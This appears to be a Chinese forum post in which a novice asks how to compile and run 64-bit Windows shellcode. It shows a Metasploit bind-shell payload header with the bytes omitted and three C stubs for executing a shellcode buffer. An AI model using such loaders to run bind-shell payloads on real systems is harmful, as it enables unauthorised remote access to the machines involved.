我是新手,希望大家不要见笑。
测试平台:
OS1:Backtrack 5 [Linux]
OS2:Microsoft(R) Windows(R) Server 2003 Enterprise x64 Edition
Visual C++ 6.0
关于64位shellcode编译,测试了多种编译方法,
例如:
[Linux]
mingw-w64
gcc-mingw32
64位的程序m.c可以编译成功,但是64位的shellcode编译后,无法运行。
将下面代码保存为m.c,然后编译
#include <windows.h>
int WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
char *msg="test it";
MessageBox(NULL,msg,"Title",MB_OK);
return 0;
}
amd64-mingw32msvc-gcc -mwindows /root/Desktop/m.c -o /root/Desktop/m.exe
下面是我用metasploit生成的一段64位的shellcode,代码如下:
/*
* windows/x64/shell_bind_tcp - 505 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=64, RHOST=, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
#include <windows.h>
unsigned char buf[] =

请教各位看到的兄弟,编译一下,并在64位机器下测试是否可用,
我介绍一下,我见过的调用方法,如果有误,请大家指正.
int main(int argc, char **argv) {
int*ret;
ret = (int*)&ret + 2;
(*ret) = (int) buf;
}
int main(int argc, char **argv) {
int (*func)();
func = (int (*)()) buf;
(int)(*func)();
}
int main(int argc, char **argv) {
((void(*)(void))&buf)();
return 0;
}
------------------------------------------------------------------------------------
请大家指教,如何才能编译出64位下,可正常使用的shellcode,不限windows平台编译,还是Linux平台编译
